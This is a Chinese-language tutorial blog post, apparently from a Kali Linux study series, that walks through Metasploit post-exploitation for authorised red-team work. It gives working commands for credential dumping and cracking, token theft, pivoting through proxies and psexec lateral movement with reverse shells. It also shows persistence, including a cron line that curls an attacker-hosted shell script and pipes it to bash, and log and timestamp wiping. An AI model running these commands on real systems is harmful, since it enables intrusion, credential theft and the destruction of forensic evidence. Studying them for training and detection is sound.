☰
Metasploit后渗透实战:从会话管理到权限维持的全链路解析
2026/10/14 22:22:55 网站建设 项目流程

开头先交代一个场景:某次授权红队演练中,我已经通过一个Web漏洞拿到了目标系统的Meterpreter会话,shell弹了出来,心里一阵激动。但紧接着问题就来了——接下来该干什么?是直接翻文件、抓哈希,还是赶紧提权?这一步走错了,轻则会话掉线,重则触发告警、前功尽弃。这篇笔记是Kali Linux学习笔记系列的第九十八篇,继续Metasploit Framework的后渗透阶段(二),重点梳理拿到会话之后的完整操作链路:会话管理、信息收集、提权、凭据获取、横向移动、权限维持与痕迹清理。适合正在系统学习MSF的后渗透用法、或者准备转向红队方向的朋友参考,也适合蓝队同学从攻击视角反推检测思路。需要提醒的是,所有操作都必须在获得合法授权的环境中进行,抛开授权谈渗透没有任何意义。

1. 后渗透阶段的全局设计:拿到会话之后的第一件事

1.1 会话:所有后渗透操作的地基

后渗透阶段的一切操作都建立在“会话存活”这个前提之上。Meterpreter会话本质上是控制端与被控端之间的一条加密通信链路,你之后的每条命令、每个模块,都要沿着这条链路送进目标机器。如果会话中途断掉,哪怕你已经跑完了半个信息收集流程,也只能从头再来,甚至彻底失去访问权限。

所以拿到会话后的第一个步骤,不是急着看文件、不是马上执行提权,而是确认会话的存活状态和基本参数。常用的会话管理命令就三个:

  • sessions -l:列出当前所有会话,确认会话ID和类型。
  • sessions -i <id>:进入指定会话。
  • background:把当前会话挂到后台,返回MSF主控制台。

我最早犯过的错误就是拿到shell之后,在交互式shell里直接执行一条长时间挂起的命令,比如扫描内网端口,结果控制台卡住,会话超时断开。现在我的习惯是:所有耗时操作一律挂到后台跑,并且把这些操作拆成短任务执行,降低掉线概率。会话这个东西,稳住了才算真正掌握主动权。

1.2 摸清家底:系统信息、身份与网络

进入会话之后,第二件事是快速摸清目标的基本状态。这些信息直接决定后续的提权和横向移动方向。我在实际项目中固定的信息收集顺序是这样的:

  • getuid:查看当前用户在目标系统上的身份。是普通用户、管理员还是SYSTEM,一目了然。
  • sysinfo:查看系统版本、内核、架构。这一步非常关键,因为后续选择提权模块时,系统版本不匹配等于白忙。
  • getpid/ps:查看当前Meterpreter进程的PID以及系统进程列表。进程列表的作用有两个:一是判断哪些进程以高权限运行、可以作为迁移目标;二是识别目标机器上是否跑了杀毒软件、EDR等防御进程。
  • ipconfig/ifconfig:查看网卡配置,重点是判断当前主机连接了几个网段。
  • route:查看路由表,看看是否存在可到达的内网网段。

这些命令本身没有太高技术含量,但很多人不知道为什么要先做这个动作。举个例子,sysinfo得到的目标系统是Windows Server 2016,那我基本不会再考虑那些针对Windows 7/8的古老UAC绕过方案,也不会去碰对Server 2016无效的内核漏洞;ipconfig看到主机同时连着办公网段和服务器网段,那就说明这台机器有横向移动的价值——它可以成为通向服务器区的跳板。信息收集的质量决定了后面每一步的选择空间。

1.3 自动化收集脚本提高效率

手敲命令确实能收集信息,但后渗透阶段最宝贵的是时间窗口。目标主机可能随时关机、断网、触发响应机制,所以信息收集必须尽可能一次到位。MSF提供了大量post模块,可以把信息收集自动化。

这里有几个我在实战中高频使用的:

  • run post/multi/recon/local_exploit_suggester:自动检查本地系统中可能存在的可利用漏洞,直接给出一份提权模块候选清单。
  • run post/windows/gather/win_privs:Windows平台下查看当前用户权限和系统权限,适合在做提权之前快速确认自己到底缺什么权限。
  • run post/linux/gather/enum_configs:Linux平台下自动收集系统配置类文件,比如网络配置、sudo配置、计划任务等。

自动化脚本最大的价值在于“全”:手工收集时可能漏掉某个不起眼但关键的配置文件,脚本能帮你把这些边角料翻出来。我习惯的做法是:手工敲一遍基础命令,再用脚本做一次全量扫描,两边结合起来看结果。不要完全依赖脚本,也别完全排斥脚本。

2. 权限提升:从普通权限到最高权限

2.1 先分清是“漏洞型”还是“配置型”提权

提权是整个后渗透阶段最让人兴奋也最容易翻车的一步。很多人一进会话就直接跑提权模块,恨不得一把梭哈拿到SYSTEM。实际上,科学的思路是先判断目标环境适合走哪条路。我把提权方案分成两类:

  • 漏洞型提权:依赖系统或软件漏洞,比如内核漏洞、UAC绕过。特点是一次性投入低、见效快,但成功率受系统补丁影响很大,而且操作不当很容易把目标打崩溃。
  • 配置型提权:依赖目标自身配置不当,比如sudo配置错误、服务权限过大、计划任务可写。特点是不需要硬怼内核,对系统稳定性影响小,但需要你耐心地去翻各种配置文件。

用一个生活化的类比:漏洞型提权像是撬锁,你的工具能不能打开这扇门,取决于门锁新旧程度;配置型提权像是捡到了一把别人落在门口的钥匙,只要你有心,找一找总能翻到几把。实战环境里,配置型提权的成功率和稳定性往往比漏洞型更高,但它要求你对Linux/Windows的权限体系有更细的理解。

2.2 漏洞型提权:从suggester到实际利用

漏洞型提权的标准流程是:先用扫描模块定位候选漏洞,再逐一尝试利用。具体操作如下:

  1. 先把当前会话挂到后台:background。
  2. 加载本地漏洞探测模块:
use post/multi/recon/local_exploit_suggester set SESSION 1 run
  1. 模块跑完后,会列出目标系统上可能存在的漏洞以及对应的利用模块。这时候不要看到一堆模块就挨个试。我选择模块的原则是:
  • 优先选择与目标系统版本、语言版本完全匹配的模块。
  • 优先选择评分高、更新频繁、社区反馈稳定的模块。
  • 避免选择已知会导致目标蓝屏或崩溃的模块,除非你已经做好测试环境验证。
  1. 选定模块后设置参数并运行:
use exploit/windows/local/<specific_module> set SESSION 1 set LHOST <你的IP> set LPORT <监听端口> run

这里有一个很重要的实操细节:在Windows 7以上、特别是Windows 10/Server 2016之后,很多本地提权模块要求Meterpreter会话已经位于一个稳定的进程中。如果当前会话挂在一个容易崩溃的进程里,提权模块运行过程中极有可能把目标进程带崩。所以遇到提权前置条件报错时,不要硬来,先执行migrate把会话迁到稳定进程,再重新尝试提权模块。

2.3 配置型提权:被忽略的“常规武器”

如果说漏洞型提权是花活,那配置型提权就是实打实的内功。分享几个我在项目里遇到过的典型场景:

  • Linux下先看sudo -l,确认当前用户能免密执行哪些命令。曾遇到过某台Linux服务器上普通用户被授权免密执行/usr/bin/visudo,这就等于给了你修改sudo配置的权限。
  • 看系统计划任务/etc/crontab以及/etc/cron.d/下是否存在以root权限运行的脚本,并且这些脚本对当前用户可写。改掉脚本内容,等计划任务触发,就相当于拿到root权限。
  • Windows下检查注册表项AlwaysInstallElevated是否为1,如果是,意味着任何用户都能以高权限安装MSI包,直接生成一个MSI木马就能实现提权。
  • 检查Windows服务路径权限,某些服务的可执行文件所在目录对普通用户可写,替换文件后重启服务即可以SYSTEM权限执行。

配置型提权的好处是稳定、安静,不容易触发系统防护。坏处是需要你耐心翻文件、逐项检查配置。我的习惯是:漏洞型提权失败时,换配置型思路重新梳理目标,往往会有意外收获。

2.4 提权失败后的处理思路

提权不是必须成功的。遇到所有提权模块都失败的情况,我的建议是三件事:

  • 不要死磕同一个模块,换模块、换思路。
  • 执行migrate到不同进程中重新尝试。
  • 评估一下:当前权限是否已经够用?如果目标是拿数据、翻资料,普通用户权限往往已经能解决大部分问题;如果目标是拿域控、横向移动,那就需要接着打通权限链。

后渗透阶段有一个很容易犯的毛病——一心只想着提权到最高权限,忘了最初的目标是什么。目标导向才是后渗透的核心思维。

3. 凭据获取与信息深度收集

3.1 抓哈希与离线破解

凭据是后渗透阶段最有价值的战利品之一。拿到目标机器的密码哈希,不仅意味着可以尝试离线破解,还可能直接用于横向移动中的哈希传递攻击。

Windows平台上最基础的操作是hashdump,直接读取SAM数据库中的本地账户哈希。不过这个命令运行需要SYSTEM权限。如果你已经提权到SYSTEM,可以跑一下;如果权限不够,可以尝试:

run post/windows/gather/smart_hashdump

它会自动尝试从SAM、域数据库等位置提取哈希,并优先提取域账户和本地管理员账户。

需要特别注意的是Windows 10和Server 2016之后的系统默认启用了DPAPI保护,部分情况下直接读SAM可能拿不到明文可用的哈希,这时候可以考虑借助Mimikatz的思路从LSASS进程内存中提取凭据。

Linux平台上,凭据获取主要瞄准/etc/shadow。拿到shadow和passwd文件后,本地用john离线破解:

unshadow passwd shadow > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

我踩过的坑是:拿到哈希后直接在目标机器上跑破解,占资源不说,还容易触发杀软。正确做法是把哈希文件下载到本地攻击机处理,目标机器上只保留最小操作痕迹。

3.2 浏览器、终端历史与配置文件

密码这种资产远不止存在于系统数据库里。实际项目中我发现,真正高价值的凭据往往藏在运维人员的使用习惯里。具体来说:

  • Windows目标上查看浏览器保存的密码、Cookie和IE/Edge缓存,可以找到内网Web系统的登录凭据。
  • Linux目标上优先翻.bash_history,里面经常出现明文密码、路径、域名等信息。SSH私钥文件(~/.ssh/id_rsa)一旦拿到,配合端口转发可以直接复用到其他主机。
  • 翻配置文件时重点关注config.php、config.inc.php、.env这类文件,数据库口令、API密钥往往就写在里面。

MSF里也有一些现成的收集模块,比如run post/windows/gather/enum_ie_cache可以拉取IE浏览器的缓存记录,run post/multi/gather/env_vars可以看目标系统上的环境变量。虽然这些手段听起来比较“笨”,但在真实环境中,运维人员把数据库密码写在脚本注释里、把SSH私钥放在Web目录下的情况一点都不罕见。

3.3 网络与主机信息:为横向移动做准备

信息收集的另一个重点是梳理网络拓扑和主机间信任关系。这一步做得好,横向移动就是水到渠成的事;做得不好,就会变成无头苍蝇一样乱撞。

我常用的命令组合是:

  • 查看ARP缓存,直接发现最近通信过的内网主机IP。
  • 查看网络连接状态:Windows下用netstat -ano,Linux下用ss -tnp,找出当前机器正在访问哪些IP和端口。
  • 查看hosts文件和DNS后缀,判断是否处于域环境。

有了这些信息之后,我面前就会展开一张粗略的内网地图:哪台机器是域控、哪些机器是数据库服务器、哪些机器正在与当前主机通信。后续的横向移动路线就是沿着这张地图走的。

4. 横向移动与内网延伸

4.1 进程迁移:让会话活得更久

横向移动之前,先解决一个稳定性的问题。Meterpreter会话默认加载在攻击进程所在的父进程里,如果这个进程是浏览器、文档编辑器这类容易关闭的程序,用户一关窗口,会话就跟着没了。所以拿到会话后,我倾向于尽早migrate到系统级稳定进程。

migrate <目标进程PID>

在Windows上,比较理想的目标是explorer.exe(资源管理器)和svchost.exe(系统服务宿主进程),它们存活时间长、权限较高、不容易被手动关闭。进程迁移还有一个额外的好处:避开原始漏洞点在防御日志上的关联性。

迁移前一定要先看ps输出,确认目标进程不是自己会重启的那种。我的经验是:迁移到winlogon.exe虽然权限高,但风险也大;explorer.exe最稳妥。

4.2 令牌窃取:快速拿到另一个用户的身份

令牌(Token)是Windows系统中用来标识用户身份的对象。如果当前会话已经是管理员权限,那就可以尝试加载incognito模块,窃取系统上其他用户(尤其是域管理员)的令牌,直接以对方的身份去访问资源。

load incognito list_tokens -u steal_token <PID>

令牌窃取可以理解成“借用了一下别人的工作证”:你不需要知道对方的密码,只需要找到对方的令牌并冒用身份。实际项目中,我遇到过Local Administrator令牌和域管理员令牌同时出现在一台跳板机上的情况,用steal_token直接拿到域管理员身份,后续整个域内横向移动都畅通无阻。

要注意的是令牌不是永久有效的。会话过期、目标用户注销都会导致令牌失效。所以拿到令牌后应该尽快使用,别攒着。

4.3 路由与代理:把MSF变成内网跳板

如果目标主机连接着多个网段,你就能以它为跳板向内网延伸。MSF里最常用的做法是:

  1. 使用autoroute添加路由规则:
run autoroute -s 172.16.1.0/24
  1. 添加完路由后,MSF的后续模块就可以直接扫描内网主机,不再需要额外配置代理。

  2. 如果想让本机的nmap、浏览器等工具也能访问目标内网,就需要搭建代理。MSF兼容的方式是:

use auxiliary/server/socks_proxy set VERSION 4a set SRVHOST 127.0.0.1 run

然后在本地配置proxychains:

proxychains nmap -sT -Pn 172.16.1.0/24

代理的意义在于:MSF自带的扫描模块毕竟有限,有了代理,本机十多年的工具集全部可以接进来干活。特别是内网中存在特殊服务协议时,用代理配合本地专用工具,比硬套MSF模块高效得多。

4.4 常用横向移动模块:psexec家族的用法

横向移动的逻辑其实很简单:拿合法凭据,然后通过远程管理协议在别的机器上执行命令。MSF里最容易上手的就是psexec系列。

use exploit/windows/smb/psexec set RHOSTS 172.16.1.20 set SMBUser administrator set SMBPass <哈希或明文密码> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT <监听端口> run

psexec系列其实有三个变体:

  • psexec:经典版本,通过创建Windows服务来执行载荷。
  • psexec_psh:基于PowerShell,适合在目标Windows 7以上系统上使用,而且走的是更灵活的执行链。
  • psexec_command:执行单条命令而不是反弹完整shell,适合快速验证凭据有效性。

我的经验是,如果psexec直接报错,不要慌,先看报错原因,然后换psexec_psh或者检查目标是否开启admin$默认共享与445端口。横向移动就是这样,一个变体不通就换下一个,总能找到一个能用的。

5. 权限维持与痕迹清除

5.1 持久化后门:掉线后还能自动回来

拿到目标权限之后,如果希望下次还能便捷地进入,那就要考虑权限维持。MSF里最简单直接的持久化方式是利用persistence脚本:

run persistence -U -X -i 30 -p 4444 -r <攻击机IP>

参数解释:

  • -U:用户登录时自动执行。
  • -X:系统启动时自动执行。
  • -i:回连间隔,单位秒。
  • -p:回连端口。
  • -r:攻击机IP。

这两条相当于给你装了一个“回头客入口”。但持久化是双刃剑:它做的事情动静不小,容易被杀软和EDR盯上,所以在真实项目中我会先解决免杀问题,再做持久化。

在Linux上做持久化通常会用到计划任务和SSH Authorized Keys:

echo "*/5 * * * * root curl http://你的IP/shell.sh | bash" >> /etc/crontab

注意,持久化后门做一条还不够,要留多条备用路径。只依赖一条通道的话,一旦被对方清理干净,就彻底失去了后续访问能力。

5.2 日志与痕迹清除

后渗透操作会在目标机器上留下大量日志。Windows的日志主要存储在事件日志里,MSF提供了一条命令clearev,可以清除应用程序、系统、安全三类日志。用法很简单:

clearev

Linux下需要处理的是shell历史记录和文件访问时间。删除历史记录文件或将其重命名为空文件是常见操作,比如:

> ~/.bash_history

文件时间戳可以借助timestomp修改,伪造文件的修改时间、访问时间、创建时间,让取证人员判断不出文件是什么时候被动的。

清理日志有一个关键原则:要适度。举个例子,clearev会把所有安全日志全部清空,一旦蓝队看到一台机器日志干干净净,反而会在第一时间把它标记为异常。所以我的做法是:只清理自己操作涉及的那部分敏感日志,不搞“全盘清零”。

5.3 退出时怎么“打扫房间”

撤退阶段的干净程度决定了这次渗透行动被发现的风险。我的固定流程是:

  • 用background挂起所有会话,然后逐个kill掉。
  • 检查是否为测试临时上传过文件,如果有,把临时工具从目标机器上删掉。
  • 检查是否修改过计划任务、服务、注册表,凡是无关紧要的持久化都清理干净。
  • 检查是否留下代理连接、端口转发进程,结束后统一拆除。

很多新手做完测试就跑了,不会在乎机器上留下了什么。但真实项目中,一个残留的临时文件就可能成为取证的关键线索。撤退不干净,等于前面所有努力全部作废。

6. 常见问题与排查技巧实录

6.1 会话总是掉线

这是后渗透初期最容易遇到的问题。会话掉线的原因通常有三种:

  • 网络不稳定,攻击机和目标之间的链路波动。
  • Meterpreter流量被目标机器上的杀毒软件或EDR识别并阻断。
  • 会话挂载在一个不稳定的进程中,目标用户一关闭窗口就断开。

排查方法:先看本机监听状态是否正常,其次ps查看Meterpreter的父进程是否稳定,最后考虑切换加密方式或换用不落地文件的payload。如果流量被识别,单纯重连没有意义,需要把流量特征混淆之后重新生成载荷。

6.2 提权模块把目标打崩了

内核提权模块运行失败最坏的情况就是直接蓝屏或重启。遇到这种情况,我的态度很明确:这个模块在当前环境下不可用,果断放弃。破坏目标主机不仅会让你失去访问权限,还会直接影响授权测试的口碑。

避免打崩的办法:提前在同样系统版本的测试环境中跑一遍模块;运行前先migrate到稳定进程;优先选择那些被社区广泛验证过的模块,避开那些更新少、口碑差的冷门模块。

6.3 hashdump拿到的哈希不一致

hashdump输出的哈希出现AAD3B435...这种固定开头并不奇怪,空密码哈希的标准表示就是这串全零加固定前缀。拿到哈希后先用john或hashcat离线破解。需要提醒的是,哈希破解不是万能钥匙,能破解出来的通常只是弱口令;破解不出来的哈希不代表没用,它仍然可能被用于哈希传递攻击。

6.4 内网扫描速度慢

内网扫描慢通常不是MSF的问题,而是链路和代理的问题。扫描段越大、代理链越长,速度越慢。我的建议是:

  • 先缩小扫描范围,优先扫描那些有业务价值、通信频繁的主机。
  • 调整线程数和超时时间,避免全默认配置。
  • 不要在整个网段上搞大范围全端口扫描,动静太大容易被发现。

6.5 持久化后门连接不上

persistence脚本设置了,但目标机重启后就是不回连。常见原因有三个:

  • 本机防火墙没有放行监听端口。
  • 目标机器出站方向被防火墙规则限制。
  • payload架构和目标系统架构不匹配,比如在64位系统上设置了32位回连载荷。

排查时先在本机测试监听端口是否开放,再看目标侧出站限制,最后确认payload架构。逐层排查,比反复重试有效得多。

最后再分享一点个人感受。学了这么多MSF命令和模块之后,我发现后渗透阶段真正考验人的不是工具用得有多熟,而是信息判断和节奏控制。会话稳住、信息摸透、优先级排好,再一步步动手,比拿到会话就疯狂敲命令要靠谱得多。希望这篇笔记能帮你在实际授权项目中少走几个弯路。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询